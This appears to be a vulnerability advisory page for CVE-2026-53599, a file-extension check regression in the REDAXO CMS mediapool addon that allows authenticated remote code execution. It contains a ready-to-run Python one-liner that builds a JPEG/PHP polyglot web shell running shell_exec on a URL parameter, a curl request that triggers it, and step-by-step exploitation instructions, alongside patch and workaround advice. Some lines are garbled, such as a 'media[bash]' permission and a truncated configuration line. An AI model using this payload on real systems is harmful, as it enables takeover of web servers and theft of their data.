Listen to this Post
Intro
CVE-2026-53599 is an authenticated remote code execution vulnerability in the REDAXO CMS mediapool addon. The flaw resides in the `rex_mediapool::isAllowedExtension` function within redaxo/src/addons/mediapool/lib/mediapool.php. This function is responsible for validating file extensions during uploads, and it contains a logic error that allows attackers to bypass the blocked-extension blacklist.
The vulnerability is a regression introduced in commit `9d008697d` (PR 6213, Feb 7, 2025). Prior to this commit, the function used a `str_contains` check to reject any filename containing a blocked extension, such as .php. This correctly prevented double-extension attacks. However, the commit rewrote the check to use a pair of `str_ends_with` conditions, which only block a blocked extension if it appears at the very end of the filename or immediately before the final extension. This weakened validation fails for filenames with three or more segments where the blocked extension is not the last segment.
For example, the filename `shell.php.any.jpg` is processed as follows: the file extension is determined to be jpg, so the `str_starts_with(‘jpg’, ‘php’)` check passes. The loop then checks if the filename ends with `.php` (false) or `.php.jpg` (false, because the actual chain is .php.any.jpg). Since the default `$allowedExtensions` is empty, the function returns true, accepting the upload.
An authenticated backend user with the `media
` permission—a privilege granted to the standard editor role—can exploit this by uploading a JPEG/PHP polyglot file named <code>shell.php.any.jpg</code>. The file retains a valid `image/jpeg` MIME type, bypassing content-type checks. Once uploaded, the file is stored in the public `media/` directory. On web servers configured with multi-extension PHP handlers (e.g., Apache `mod_mime` <code>AddHandler</code> or non-anchored `FilesMatch` regex), requesting the file triggers PHP execution. The provided proof-of-concept demonstrates that a payload like <code>http://victim.example/media/shell.php.any.jpg?x=id` executes arbitrary system commands as the web-server user.
The regression affects all REDAXO releases from 5.18.2 through 5.21.0. The issue is fixed in version 5.21.1.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: ....... REDAXO
Version: ........ 5.18.2-5.21.0
Vulnerability :.. File Upload Bypass
Severity: ....... High (CVSS 7.5)
date: ........... 2026-07-31
<h2 style="color: blue;">Prediction: ..... Patch expected 2026-08-01</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Analytics:</h2>
- Vulnerability type: CWE-434 Unrestricted Upload of File with Dangerous Type
- Attack vector: Network
- Attack complexity: High
- Privileges required: Low
- User interaction: None
- Scope: Unchanged
- Confidentiality impact: High
- Integrity impact: High
- Availability impact: High
<h2 style="color: blue;">Bash commands and codes:</h2>
[bash]
Build the polyglot payload
python3 -c "
jpeg_header = bytes([0xff,0xd8,0xff,0xe0,0x00,0x10]) + b'JFIF' + bytes([0x00,0x01,0x01,0x01,0x00,0x48,0x00,0x48,0x00,0x00])
php_payload = b'<?php echo \"=== PWNED ===\\n\"; echo \"file: \" . __FILE__ . \"\\n\"; echo \"cmd output:\\n\"; \$cmd = isset(\$_GET[chr(120)]) ? \$_GET[chr(120)] : \"id\"; echo shell_exec(\$cmd); ?>'
jpeg_tail = bytes([0xff,0xd9])
open('shell.php.any.jpg','wb').write(jpeg_header + php_payload + jpeg_tail)
"
Verify MIME type
file --mime-type shell.php.any.jpg
Output: shell.php.any.jpg: image/jpeg
Upload the file via REDAXO mediapool (authenticated)
Then request the file to execute code
curl -sS "http://victim.example/media/shell.php.any.jpg?x=id"
<h2 style=”color: blue;”>Exploit:</h2>
<h2 style=”color: blue;”>To exploit this vulnerability, an attacker must:</h2>
1. Log in to the REDAXO backend with an account that has the `media[bash]` permission.
2. Upload the polyglot file `shell.php.any.jpg` through the mediapool interface.
3. The file is accepted due to the flawed `isAllowedExtension` check.
4. The file is stored in the public `media/` directory.
5. On a vulnerable Apache configuration (e.g., `AddHandler application/x-httpd-php .php` or non-anchoredFilesMatch), request the file with a command parameter to achieve RCE.
<h2 style="color: blue;">Protection:</h2>
- Immediate: Upgrade to REDAXO version 5.21.1 or later, where the issue is fixed.
- Workaround: If upgrading is not possible, restrict the `media[bash]` permission to only trusted users.
- Configuration: Ensure Apache PHP handler mappings use anchored regex (e.g.,
– Input validation: Revert to the `str_contains` check or implement a robust blacklist that scans the entire filename for blocked extensions.
Impact:
A successful exploit allows an authenticated backend user with minimal privileges (editor role) to execute arbitrary PHP code as the web-server user. This can lead to complete compromise of the REDAXO instance, including data theft, defacement, malware deployment, and lateral movement within the hosting environment. The vulnerability is particularly dangerous on shared hosting environments where multiple sites share the same web-server user.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
